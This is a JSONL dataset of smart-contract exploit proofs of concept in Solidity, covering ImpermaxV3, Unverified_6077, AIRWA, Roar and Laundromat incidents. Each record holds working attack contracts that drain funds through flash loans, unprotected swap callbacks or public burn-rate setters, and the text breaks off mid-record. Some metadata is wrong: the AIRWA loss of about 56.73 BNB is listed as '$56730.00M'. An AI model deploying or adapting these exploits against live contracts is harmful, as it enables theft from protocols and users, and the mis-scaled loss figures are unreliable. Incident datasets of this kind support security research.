ITokenizedUniswapV3Position(TokenizedUniswapV3Position).reinvest(newtoken_id, address(this));\n\n // // go on to swap for 50 times\n int256 trueamountSpecified = -19400000000000;\n int256 falseamountSpecified = 19403880776155;\n for (uint256 i = 0; i < 100; i++) {\n Uni_Pair_V3(UniV3pool_200).swap(\n address(this),\n true,\n trueamountSpecified,\n truesqrtPriceLimitX96,\n abi.encodePacked(uint256(1))\n );\n Uni_Pair_V3(UniV3pool_200).swap(\n address(this),\n false,\n falseamountSpecified,\n falsesqrtPriceLimitX96,\n abi.encodePacked(uint256(1))\n );\n }\n\n // one more time swap for 100000.\n Uni_Pair_V3(UniV3pool_200).swap(\n address(this),\n false,\n 100000,\n falsesqrtPriceLimitX96,\n abi.encodePacked(uint256(1))\n );\n\n uint256 safetyMarginSqrt = 1183215960000000000;\n ITokenizedUniswapV3Position(TokenizedUniswapV3Position).getPositionData(newtoken_id, safetyMarginSqrt);\n\n uint256 wad = 166988030575033714385;\n IFS(WETH_address).transfer(ImpermaxV3Borrowable, wad);\n \n IFS(ImpermaxV3Borrowable).mint(address(this));\n uint256 borrowAmount = IFS(WETH_address).balanceOf(ImpermaxV3Borrowable);\n IFS(ImpermaxV3Borrowable).borrow(255, address(this), borrowAmount, \"\");\n \n // line 2439\n ITokenizedUniswapV3Position(TokenizedUniswapV3Position).reinvest(newtoken_id, address(this));\n IimpermaxV3Collateral(ImpermaxV3Collateral).restructureBadDebt(255);\n uint256 currentBorrowBalance = IFS(ImpermaxV3Borrowable).currentBorrowBalance(newtoken_id);\n\n IFS(WETH_address).transfer(ImpermaxV3Borrowable, currentBorrowBalance);\n IFS(ImpermaxV3Borrowable).borrow(newtoken_id, address(this), 0, \"\");\n IimpermaxV3Collateral(ImpermaxV3Collateral).redeem(address(this), newtoken_id, 1000000000000000000);\n ITokenizedUniswapV3Position(TokenizedUniswapV3Position).redeem(address(this), newtoken_id);\n\n // line 2553\n Uni_Pair_V3(UniV3pool_200).swap(\n address(this),\n true,\n 14260200223938238,\n truesqrtPriceLimitX96,\n abi.encodePacked(uint256(1))\n );\n\n // uint256 _exchangeRate = IFS(ImpermaxV3Borrowable).exchangeRate();\n uint256 temp_amount = 120924566533707506470;\n IFS(ImpermaxV3Borrowable).transfer(ImpermaxV3Borrowable, temp_amount);\n uint256 redeemAmount = IFS(ImpermaxV3Borrowable).redeem(address(this));\n console2.log(\"redeemAmount: \", redeemAmount);\n // line 2581\n Uni_Pair_V3(UniV3pool_500).swap(\n address(this),\n true,\n -19760825,\n truesqrtPriceLimitX96,\n abi.encodePacked(uint256(1))\n );\n console2.log(\"Current USDC balance: \", IFS(USDC_address).balanceOf(address(this)));\n }\n }\n\n function onERC721Received(\n address,\n address,\n uint256,\n bytes memory\n ) external returns (bytes4) {\n return this.onERC721Received.selector;\n }\n function uniswapV3SwapCallback(\n int256 amount0Delta,\n int256 amount1Delta,\n bytes calldata\n ) external {\n require(\n msg.sender == UniV3pool_200 || msg.sender == UniV3pool_500,\n \"Invalid pool caller\"\n );\n\n if (amount0Delta > 0) {\n IFS(WETH_address).transfer(msg.sender, uint256(amount0Delta));\n } else {\n IFS(USDC_address).transfer(msg.sender, uint256(amount1Delta));\n }\n }\n\n function uniswapV3MintCallback(\n uint256 amount0,\n uint256 amount1,\n bytes calldata\n ) external {\n IFS(WETH_address).transfer(UniV3pool_200, amount0);\n IFS(USDC_address).transfer(UniV3pool_200, amount1);\n }\n}\n\ninterface IFS is IERC20 {\n // function in Morpho\n function flashLoan(\n address token, \n uint256 assets,\n bytes calldata data\n ) external;\n\n // function in 0x1c45_UniswapV3Pool\n function mint(\n address recipient,\n int24 tickLower,\n int24 tickUpper,\n uint128 amount,\n bytes calldata data\n ) external returns (uint256 amount0, uint256 amount1);\n\n \n // function in ImpermaxV3Borrowable\n function totalBorrows() external view returns (uint);\n function debtCeiling() external view returns (uint256);\n function mint(address minter) external returns (uint mintTokens);\n function borrow(uint256 tokenId, address receiver, uint borrowAmount, bytes calldata data) external;\n function currentBorrowBalance(uint tokenId) external returns (uint);\n function exchangeRate() external returns (uint);\n function redeem(address redeemer) external returns (uint redeemAmount);\n}\n\ninterface IimpermaxV3Collateral {\n // function in ImpermaxV3Collateral\n function restructureBadDebt(uint tokenId) external;\n function redeem(address to, uint256 tokenId, uint256 percentage) external returns (uint redeemTokenId);\n function mint(address to, uint256 tokenId) external;\n}\n\ninterface INFTLP {\n\tstruct RealXY {\n\t\tuint256 realX;\n\t\tuint256 realY;\n\t}\n\t\n\tstruct RealXYs {\n\t\tRealXY lowestPrice;\n\t\tRealXY currentPrice;\n\t\tRealXY highestPrice;\n\t}\n}\n\ninterface ITokenizedUniswapV3Position {\n function getPool(uint24 fee) external view returns (address pool);\n function mint(address to, uint24 fee, int24 tickLower, int24 tickUpper) external returns (uint256 newTokenId);\n function reinvest(uint256 tokenId, address bountyTo) external returns (uint256 bounty0, uint256 bounty1);\n function ownerOf(uint256 _tokenId) external view returns (address);\n\tfunction getApproved(uint256 tokenId) external view returns (address operator);\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n function transferFrom(address from, address to, uint256 tokenId) external;\n \tfunction getPositionData(uint256 _tokenId, uint256 _safetyMarginSqrt) external returns (\n\t\tuint256 priceSqrtX96,\n\t\tINFTLP.RealXYs memory realXYs\n\t);\n function redeem(address to, uint256 tokenId) external returns (uint256 amount0, uint256 amount1);\n}\n", "type": "exploit_poc", "protocol": "ImpermaxV3", "date": "2025-04", "file_name": "ImpermaxV3_exp.sol", "attack_vector": "flash_loan", "content_hash": "ba5c330f5c51b6c1", "collected_at": "2026-01-07T10:59:16.544875", "_source": "postmortems", "chain": "base", "block_number": 29437439, "total_lost_raw": "~300k", "total_lost_usd": 300000.0, "attacker_address": "https://basescan.org/address/0xe3223f7e3343c2c8079f261d59ee1e513086c7c3", "attack_contract": "https://basescan.org/address/0x98e938899902217465f17cf0b76d12b3dca8ce1b", "vulnerable_contract": "https://basescan.org/address/0x5d93f216f17c225a8b5ffa34e74b7133436281ee", "attack_tx": "https://basescan.org/tx/0xde903046b5cdf27a5391b771f41e645e9cc670b649f7b87b1524fc4076f45983", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "high", "severity_raw": "~300k", "category": "flash-loan", "exploit_code": "function testExploit() public {\n IFS(Morpho).flashLoan(WETH_address, borrowWETH_amount, abi.encodePacked(uint256(1)));\n console2.log(\"WETH balance: \", IFS(WETH_address).balanceOf(address(this)));\n console2.log(\"USDC balance: \", IFS(USDC_address).balanceOf(address(this)));\n }\n\n bool private inFlashLoan;", "has_exploit_code": true, "keyinfo_total_lost": "~300k", "keyinfo_attacker": "https://basescan.org/address/0xe3223f7e3343c2c8079f261d59ee1e513086c7c3", "keyinfo_attack_contract": "https://basescan.org/address/0x98e938899902217465f17cf0b76d12b3dca8ce1b", "keyinfo_vulnerable_contract": "https://basescan.org/address/0x5d93f216f17c225a8b5ffa34e74b7133436281ee", "keyinfo_attack_tx": "https://basescan.org/tx/0xde903046b5cdf27a5391b771f41e645e9cc670b649f7b87b1524fc4076f45983", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$300.0K", "content_richness_score": 10, "quality_estimate": "high", "title": "ImpermaxV3 Exploit (2025-04)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~ ($62.3K)\n// Attacker : https://basescan.org/address/0x780e5cb8de79846f35541b700637057c9ddded68\n// Attack Contract : https://basescan.org/address/0x780e5cb8de79846f35541b700637057c9ddded68\n// Vulnerable Contract : https://basescan.org/address/0x607742a2adea4037020e11bb67cb98e289e3ec7d\n// Attack Tx : https://basescan.org/tx/0x1a6002d8aee205dff67cb2cdaf60569721655857d49ffe2ce81e10fde8c45946\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/TenArmorAlert/status/1910662533607796887\n// Hacking God : N/A\n\naddress constant WETH_ADDR = 0x4200000000000000000000000000000000000006;\naddress constant USDC_ADDR = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;\n\ncontract Unverified_6077_exp is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 28_791_090 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"base\", blocknumToForkFrom);\n // Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = WETH_ADDR;\n\n vm.label(WETH_ADDR, \"WETH\");\n vm.label(USDC_ADDR, \"USDC\");\n }\n\n function testExploit() public {\n AttackContract attackContract = new AttackContract();\n attackContract.start();\n AttackContract2 attackContract2 = new AttackContract2();\n attackContract2.start();\n\n emit log_named_decimal_uint(\"WETH\", TokenHelper.getTokenBalance(WETH_ADDR, address(this)), 18);\n emit log_named_decimal_uint(\"USDC\", TokenHelper.getTokenBalance(USDC_ADDR, address(this)), 6);\n }\n\n receive() external payable {}\n}\n\ncontract AttackContract {\n address attacker;\n\n constructor() {\n attacker = msg.sender;\n }\n\n function start() public {\n address unverified_6077 = 0x607742A2Adea4037020e11Bb67CB98E289E3eC7D;\n IUniswapCallback(unverified_6077).uniswapV3SwapCallback(\n -125_859_570_852_398,\n 22_510_000_000_000_000_000,\n hex\"000000000000000000000000ddddf3d84a1e94036138cab7ff35d003c1207a7700000000000000000000000000000000000000000000000000005ad023c7e400\"\n );\n\n TokenHelper.transferToken(WETH_ADDR, attacker, TokenHelper.getTokenBalance(WETH_ADDR, address(this)));\n }\n\n function token1() external view returns (address) {\n return WETH_ADDR;\n }\n\n receive() external payable {}\n}\n\ncontract AttackContract2 {\n address attacker;\n\n constructor() {\n attacker = msg.sender;\n }\n\n function start() public {\n address unverified_6077 = 0x607742A2Adea4037020e11Bb67CB98E289E3eC7D;\n IUniswapCallback(unverified_6077).uniswapV3SwapCallback(\n -125_859_570_852_398,\n 27_260_000_000,\n hex\"000000000000000000000000ddddf3d84a1e94036138cab7ff35d003c1207a7700000000000000000000000000000000000000000000000000005ad023c7e400\"\n );\n\n TokenHelper.transferToken(USDC_ADDR, attacker, TokenHelper.getTokenBalance(USDC_ADDR, address(this)));\n }\n\n function token1() external view returns (address) {\n return USDC_ADDR;\n }\n\n receive() external payable {}\n}\n\ninterface IUniswapCallback {\n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external;\n}\n", "type": "exploit_poc", "protocol": "Unverified_6077", "date": "2025-04", "file_name": "Unverified_6077_exp.sol", "attack_vector": null, "content_hash": "0c32819ecc29bf6e", "collected_at": "2026-01-07T10:59:16.544956", "_source": "postmortems", "chain": "base", "block_number": null, "total_lost_raw": "~ ($62.3K)", "total_lost_usd": 62300.0, "attacker_address": "https://basescan.org/address/0x780e5cb8de79846f35541b700637057c9ddded68", "attack_contract": "https://basescan.org/address/0x780e5cb8de79846f35541b700637057c9ddded68", "vulnerable_contract": "https://basescan.org/address/0x607742a2adea4037020e11bb67cb98e289e3ec7d", "attack_tx": "https://basescan.org/tx/0x1a6002d8aee205dff67cb2cdaf60569721655857d49ffe2ce81e10fde8c45946", "postmortem_url": null, "twitter_url": "https://x.com/TenArmorAlert/status/1910662533607796887", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "~ ($62.3K)", "category": "unknown", "exploit_code": "function testExploit() public {\n AttackContract attackContract = new AttackContract();\n attackContract.start();\n AttackContract2 attackContract2 = new AttackContract2();\n attackContract2.start();\n\n emit log_named_decimal_uint(\"WETH\", TokenHelper.getTokenBalance(WETH_ADDR, address(this)), 18);\n emit log_named_decimal_uint(\"USDC\", TokenHelper.getTokenBalance(USDC_ADDR, address(this)), 6);\n }\n\n receive() external payable {}\n}\n\ncontract AttackContract {\n address attacker;\n\n constructor() {\n attacker = msg.sender;\n }", "has_exploit_code": true, "keyinfo_total_lost": "~ ($62.3K)", "keyinfo_attacker": "https://basescan.org/address/0x780e5cb8de79846f35541b700637057c9ddded68", "keyinfo_attack_contract": "https://basescan.org/address/0x780e5cb8de79846f35541b700637057c9ddded68", "keyinfo_vulnerable_contract": "https://basescan.org/address/0x607742a2adea4037020e11bb67cb98e289e3ec7d", "keyinfo_attack_tx": "https://basescan.org/tx/0x1a6002d8aee205dff67cb2cdaf60569721655857d49ffe2ce81e10fde8c45946", "analysis_postmortem": "", "analysis_twitter": "https://x.com/TenArmorAlert/status/1910662533607796887", "funds_lost_formatted": "$62.3K", "content_richness_score": 7.69, "quality_estimate": "medium", "title": "Unverified_6077 Exploit (2025-04)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~ 56.73 BNB\n// Attacker : https://bscscan.com/address/0x70f0406e0a50c53304194b2668ec853d664a3d9c\n// Attack Contract : https://bscscan.com/address/0x2a011580f1b1533006967bd6dc63af7ae5c82363\n// Vulnerable Contract : https://bscscan.com/address/0x3af7da38c9f68df9549ce1980eef4ac6b635223a\n// Attack Tx : https://bscscan.com/tx/0x5cf050cba486ec48100d5e5ad716380660e8c984d80f73ba888415bb540851a4\n\n// @Info\n// Vulnerable Contract Code :\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/TenArmorAlert/status/1908086092772900909\n// Hacking God : N/A\n\naddress constant AIRWA = 0x3Af7DA38C9F68dF9549Ce1980eEf4AC6B635223A;\naddress constant wBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\naddress constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;\naddress constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\naddress constant CAKE_LP = 0xc3551400c032cB0556dee1AD1dC78D1cbC64B7bb;\n\ncontract AIRWA_exp is BaseTestWithBalanceLog {\n address attacker = makeAddr(\"attacker\");\n uint256 blocknumToForkFrom = 48_050_724 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n // Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n // fundingToken = BSC_USD;\n\n vm.label(attacker, \"Attacker\");\n vm.label(AIRWA, \"AIRWA\");\n vm.label(wBNB, \"WBNB\");\n vm.label(BSC_USD, \"BSC-USD\");\n vm.label(PANCAKE_ROUTER, \"PancakeSwap: Router v2\");\n vm.label(CAKE_LP, \"0xc355_Cake-LP\");\n\n vm.deal(attacker, 1 ether); // Give attacker some BNB\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"BNB balance before attack\", attacker.balance, 18);\n vm.startPrank(attacker);\n AttackContract attackContract = new AttackContract{value: 0.1 ether}();\n attackContract.attack();\n vm.stopPrank();\n emit log_named_decimal_uint(\"BNB balance after attack\", attacker.balance, 18);\n }\n\n receive() external payable {}\n}\n\ncontract AttackContract {\n address attacker;\n\n constructor() payable {\n attacker = msg.sender;\n }\n\n function attack() public {\n address[] memory path = new address[](3);\n path[0] = address(wBNB);\n path[1] = address(BSC_USD);\n path[2] = address(AIRWA);\n IPancakeRouter(payable(PANCAKE_ROUTER)).swapExactETHForTokensSupportingFeeOnTransferTokens{value: 0.1 ether}(\n 0, path, address(this), block.timestamp + 10\n );\n\n uint256 balance = IAIRWA(AIRWA).balanceOf(address(this));\n // console.log(\"Balance of AIRWA in attack contract:\", balance);\n IAIRWA(AIRWA).setBurnRate(980);\n IAIRWA(AIRWA).transfer(CAKE_LP, 0);\n IAIRWA(AIRWA).setBurnRate(0);\n IAIRWA(AIRWA).approve(PANCAKE_ROUTER, type(uint256).max);\n\n path[0] = address(AIRWA);\n path[1] = address(BSC_USD);\n path[2] = address(wBNB);\n IPancakeRouter(payable(PANCAKE_ROUTER)).swapExactTokensForETHSupportingFeeOnTransferTokens(\n balance, 0, path, address(this), block.timestamp + 10\n );\n }\n\n receive() external payable {\n console.log(\"Received BNB:\", msg.value);\n uint256 balance = address(this).balance;\n // console.log(\"Current balance:\", balance);\n if (balance > 0) {\n payable(attacker).transfer(balance); // Send all BNB back to the attacker\n }\n }\n}\n\ninterface IAIRWA {\n function setBurnRate(uint256 _burnRate) external;\n function transfer(address recipient, uint256 amount) external returns (bool);\n function balanceOf(address account) external view returns (uint256);\n function approve(address spender, uint256 amount) external returns (bool);\n}\n", "type": "exploit_poc", "protocol": "AIRWA", "date": "2025-04", "file_name": "AIRWA_exp.sol", "attack_vector": null, "content_hash": "063836f0bc407397", "collected_at": "2026-01-07T10:59:16.545010", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "~ 56.73 BNB", "total_lost_usd": 56730000000.0, "attacker_address": "https://bscscan.com/address/0x70f0406e0a50c53304194b2668ec853d664a3d9c", "attack_contract": "https://bscscan.com/address/0x2a011580f1b1533006967bd6dc63af7ae5c82363", "vulnerable_contract": "https://bscscan.com/address/0x3af7da38c9f68df9549ce1980eef4ac6b635223a", "attack_tx": "https://bscscan.com/tx/0x5cf050cba486ec48100d5e5ad716380660e8c984d80f73ba888415bb540851a4", "postmortem_url": null, "twitter_url": "https://x.com/TenArmorAlert/status/1908086092772900909", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "~ 56.73 BNB", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"BNB balance before attack\", attacker.balance, 18);\n vm.startPrank(attacker);\n AttackContract attackContract = new AttackContract{value: 0.1 ether}();\n attackContract.attack();\n vm.stopPrank();\n emit log_named_decimal_uint(\"BNB balance after attack\", attacker.balance, 18);\n }\n\n receive() external payable {}\n}\n\ncontract AttackContract {\n address attacker;\n\n constructor() payable {\n attacker = msg.sender;\n }", "has_exploit_code": true, "keyinfo_total_lost": "~ 56.73 BNB", "keyinfo_attacker": "https://bscscan.com/address/0x70f0406e0a50c53304194b2668ec853d664a3d9c", "keyinfo_attack_contract": "https://bscscan.com/address/0x2a011580f1b1533006967bd6dc63af7ae5c82363", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x3af7da38c9f68df9549ce1980eef4ac6b635223a", "keyinfo_attack_tx": "https://bscscan.com/tx/0x5cf050cba486ec48100d5e5ad716380660e8c984d80f73ba888415bb540851a4", "analysis_postmortem": "", "analysis_twitter": "https://x.com/TenArmorAlert/status/1908086092772900909", "funds_lost_formatted": "$56730.00M", "content_richness_score": 7.97, "quality_estimate": "medium", "title": "AIRWA Exploit (2025-04)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 777k USD\n// Attacker : 0x8149f77504007450711023cf0ec11bdd6348401f\n// Attack Contract : \n// Vulnerable Contract : \n// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0xab2097bb3ce666493d0f76179f7206926adc8cec4ba16e88aed30c202d70c661\n\n// @Info\n// Vulnerable Contract Code : \n\n// @Analysis\n// Post-mortem : https://x.com/CertiKAlert/status/1912430535999189042\n// Twitter Guy : https://x.com/CertiKAlert/status/1912430535999189042\n// Hacking God : N/A\n\naddress constant ONE_R0AR_Token = 0xb0415D55f2C87b7f99285848bd341C367FeAc1ea;\naddress constant UniswapV2Pair = 0x13028E6b95520ad16898396667d1e52cB5E550Ac;\naddress constant attacker = 0x8149f77504007450711023cf0eC11BDd6348401F;\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 22278564);\n }\n \n function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", IERC20(0xb0415D55f2C87b7f99285848bd341C367FeAc1ea).balanceOf(attacker), 18);\n emit log_named_decimal_uint(\"before attack: balance of attacker\", IERC20(0x13028E6b95520ad16898396667d1e52cB5E550Ac).balanceOf(attacker), 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n deal(0xb0415D55f2C87b7f99285848bd341C367FeAc1ea, address(attC), 100000000099978913875247186);\n deal(0x13028E6b95520ad16898396667d1e52cB5E550Ac, address(attC), 26777446973800063826);\n attC.EmergencyWithdraw();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", IERC20(0xb0415D55f2C87b7f99285848bd341C367FeAc1ea).balanceOf(attacker), 18);\n emit log_named_decimal_uint(\"after attack: balance of attacker\", IERC20(0x13028E6b95520ad16898396667d1e52cB5E550Ac).balanceOf(attacker), 18);\n }\n}\n\ncontract AttackerC {\n uint256 constant T0 = 0x67ff15af;\n uint256 constant BIGC = 0x25aaa441b6cac9c2f49d8d012ccc517de4215e056b0f63883f8240c8e228fed1;\n uint256 constant DEN = 365000 * 24 * 3600;\n uint256 constant K = 35;\n uint256 constant OFF = 61066966765;\n\n function EmergencyWithdraw() public {\n if (block.timestamp >= T0) {\n uint256 rate = BIGC / DEN;\n if ((((block.timestamp * rate * K) - (OFF * rate)) / (rate * K)) == (block.timestamp - T0)) {\n uint256 bal1 = IONE_R0AR_Token(ONE_R0AR_Token).balanceOf(address(this));\n uint256 diff = (block.timestamp * rate * K) - (OFF * rate);\n if (diff > 0) {\n if (bal1 < diff) {\n bytes memory data1 = abi.encodeWithSelector(\n IONE_R0AR_Token.transfer.selector,\n tx.origin,\n 100000000099978910611013632\n );\n (bool ok1, bytes memory ret1) = ONE_R0AR_Token.call(data1);\n require(ok1 && (ret1.length == 0 || abi.decode(ret1, (bool))), \"transfer1 failed\");\n\n IERC20(UniswapV2Pair).balanceOf(address(this));\n bytes memory data2 = abi.encodeWithSelector(\n IERC20.transfer.selector,\n tx.origin,\n 26777446972437561344\n );\n (bool ok2, bytes memory ret2) = UniswapV2Pair.call(data2);\n require(ok2 && (ret2.length == 0 || abi.decode(ret2, (bool))), \"transfer2 failed\");\n }\n }\n }\n }\n }\n}\n\ninterface IONE_R0AR_Token {\n\tfunction transfer(address, uint256) external returns (bool);\n\tfunction balanceOf(address) external returns (uint256); \n}", "type": "exploit_poc", "protocol": "Roar", "date": "2025-04", "file_name": "Roar_exp.sol", "attack_vector": null, "content_hash": "2f3dc3ac1b33cfae", "collected_at": "2026-01-07T10:59:16.545064", "_source": "postmortems", "chain": "unknown", "block_number": 22278564, "total_lost_raw": "777k USD", "total_lost_usd": 777000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0xab2097bb3ce666493d0f76179f7206926adc8cec4ba16e88aed30c202d70c661", "postmortem_url": "https://x.com/CertiKAlert/status/1912430535999189042", "twitter_url": "https://x.com/CertiKAlert/status/1912430535999189042", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "777k USD", "category": "unknown", "exploit_code": "function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", IERC20(0xb0415D55f2C87b7f99285848bd341C367FeAc1ea).balanceOf(attacker), 18);\n emit log_named_decimal_uint(\"before attack: balance of attacker\", IERC20(0x13028E6b95520ad16898396667d1e52cB5E550Ac).balanceOf(attacker), 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n deal(0xb0415D55f2C87b7f99285848bd341C367FeAc1ea, address(attC), 100000000099978913875247186);\n deal(0x13028E6b95520ad16898396667d1e52cB5E550Ac, address(attC), 26777446973800063826);\n attC.EmergencyWithdraw();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", IERC20(0xb0415D55f2C87b7f99285848bd341C367FeAc1ea).balanceOf(attacker), 18);\n emit log_named_decimal_uint(\"after attack: balance of attacker\", IERC20(0x13028E6b95520ad16898396667d1e52cB5E550Ac).balanceOf(attacker), 18);\n }\n}\n\ncontract AttackerC {\n uint256 constant T0 = 0x67ff15af;\n uint256 constant BIGC = 0x25aaa441b6cac9c2f49d8d012ccc517de4215e056b0f63883f8240c8e228fed1;\n uint256 constant DEN = 365000 * 24 * 3600;\n uint256 constant K = 35;\n uint256 constant OFF = 61066966765;", "has_exploit_code": true, "keyinfo_total_lost": "777k USD", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0xab2097bb3ce666493d0f76179f7206926adc8cec4ba16e88aed30c202d70c661", "analysis_postmortem": "https://x.com/CertiKAlert/status/1912430535999189042", "analysis_twitter": "https://x.com/CertiKAlert/status/1912430535999189042", "funds_lost_formatted": "$777.0K", "content_richness_score": 6.9, "quality_estimate": "medium", "title": "Roar Exploit (2025-04)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 1.5K USD\n// Attacker : https://etherscan.io/address/0xd6be07499d408454d090c96bd74a193f61f706f4\n// Attack Contract : https://etherscan.io/address/0x2e95cfc93ebb0a2aace603ed3474d451e4161578\n// Vulnerable Contract : https://etherscan.io/address/0x934cbbe5377358e6712b5f041d90313d935c501c\n// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x08ffb5f7ab6421720ab609b6ab0ff5622fba225ba351119c21ef92c78cb8302c\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x934cbbe5377358e6712b5f041d90313d935c501c\n\n// @Analysis\n// Post-mortem : https://x.com/TenArmorAlert/status/1909814943290884596\n// Twitter Guy : https://x.com/TenArmorAlert/status/1909814943290884596\n// Hacking God : N/A\n\naddress constant Laundromat = 0x934cbbE5377358e6712b5f041D90313d935C501C;\naddress constant addr1 = 0x2E95CFC93EBb0a2aACE603ed3474d451E4161578;\naddress constant attacker = 0xd6BE07499d408454D090c96bd74A193F61f706F4;\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 22222687-1);\n }\n \n function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\n// 0x2E95CFC93EBb0a2aACE603ed3474d451E4161578\ncontract AttackerC {\n constructor() { \n if (address(this) == addr1) {\n // deposit() x4\n (bool s1,) = Laundromat.call(abi.encodeWithSelector(ILaundromat.deposit.selector,\n 0x53fc1ed6fc846bb1bb169b59c0f09b68c5489f92a52de825288380980c45ca8a,\n 0xdd3a0e9477d9e2f82be3b891061fb1d435839c670ff6aa61183f5ee01d52d3b6\n ));\n require(s1);\n (bool s2,) = Laundromat.call(abi.encodeWithSelector(ILaundromat.deposit.selector,\n 0x53fc1ed6fc846bb1bb169b59c0f09b68c5489f92a52de825288380980c45ca8a,\n 0xdd3a0e9477d9e2f82be3b891061fb1d435839c670ff6aa61183f5ee01d52d3b6\n ));\n require(s2);\n (bool s3,) = Laundromat.call(abi.encodeWithSelector(ILaundromat.deposit.selector,\n 0x53fc1ed6fc846bb1bb169b59c0f09b68c5489f92a52de825288380980c45ca8a,\n 0xdd3a0e9477d9e2f82be3b891061fb1d435839c670ff6aa61183f5ee01d52d3b6\n ));\n require(s3);\n (bool s4,) = Laundromat.call(abi.encodeWithSelector(ILaundromat.deposit.selector,\n 0x53fc1ed6fc846bb1bb169b59c0f09b68c5489f92a52de825288380980c45ca8a,\n 0xdd3a0e9477d9e2f82be3b891061fb1d435839c670ff6aa61183f5ee01d52d3b6\n ));\n require(s4);\n\n // withdrawStart(signature[], x0, Ix, Iy)\n uint256[] memory sig = new uint256[](5);\n sig[0] = 0x33f79225929030e6369f0fbf5500142b8a4e10370e35f701a0e5c4d324f098d6;\n sig[1] = 0x93708ff3b6dcb272664acb22881510360a04ca1a0a05a8dda37d06ddc62e5bf0;\n sig[2] = 0xec91250cc040f420bdd11eb4b77cbf1d659ed043e88dbe49b392d44a85453e04;\n sig[3] = 0xddaef0451b6c22a35bc641cd5f66aae904351f8adca3e588f0385d9d0bec542f;\n sig[4] = 0x2652c96f86b22f421949daee41ffef503df3a06072e372de15105d0783bc2ba3;\n\n (bool s5,) = Laundromat.call(abi.encodeWithSelector(\n ILaundromat.withdrawStart.selector,\n sig,\n 0xa844d117805bbe3b276c37582fc1f960b5870ccd0d1016ec39a2b32a5bc780cf,\n 0x3184ac964636725c9c94d3767739fd89fc58da189ef8579409052b860e00b28f,\n 0xd7b3de3e1198ad3c53db7b873132bd16741f130d8fe73e801b281182cc3da487\n ));\n require(s5);\n\n // withdrawStep() x5\n for (uint256 i = 0; i < 5; i++) {\n (bool ss,) = Laundromat.call(abi.encodeWithSelector(ILaundromat.withdrawStep.selector));\n require(ss);\n }\n\n // withdrawFinal()\n (bool sf,) = Laundromat.call(abi.encodeWithSelector(ILaundromat.withdrawFinal.selector));\n require(sf);\n\n selfdestruct(payable(attacker));\n }\n } \n}\n\ninterface ILaundromat {\n\tfunction deposit(uint256, uint256) external;\n\tfunction withdrawFinal() external returns (bool);\n\tfunction withdrawStart(uint256[] calldata, uint256, uint256, uint256) external;\n\tfunction withdrawStep() external; \n}", "type": "exploit_poc", "protocol": "Laundromat", "date": "2025-04", "file_name": "Laundromat_exp.sol", "attack_vector": null, "content_hash": "9b9c6c3420756576", "collected_at": "2026-01-07T10:59:16.545121", "_source": "postmortems", "chain": "ethereum", "block_number": 22222687, "total_lost_raw": "1.5K USD", 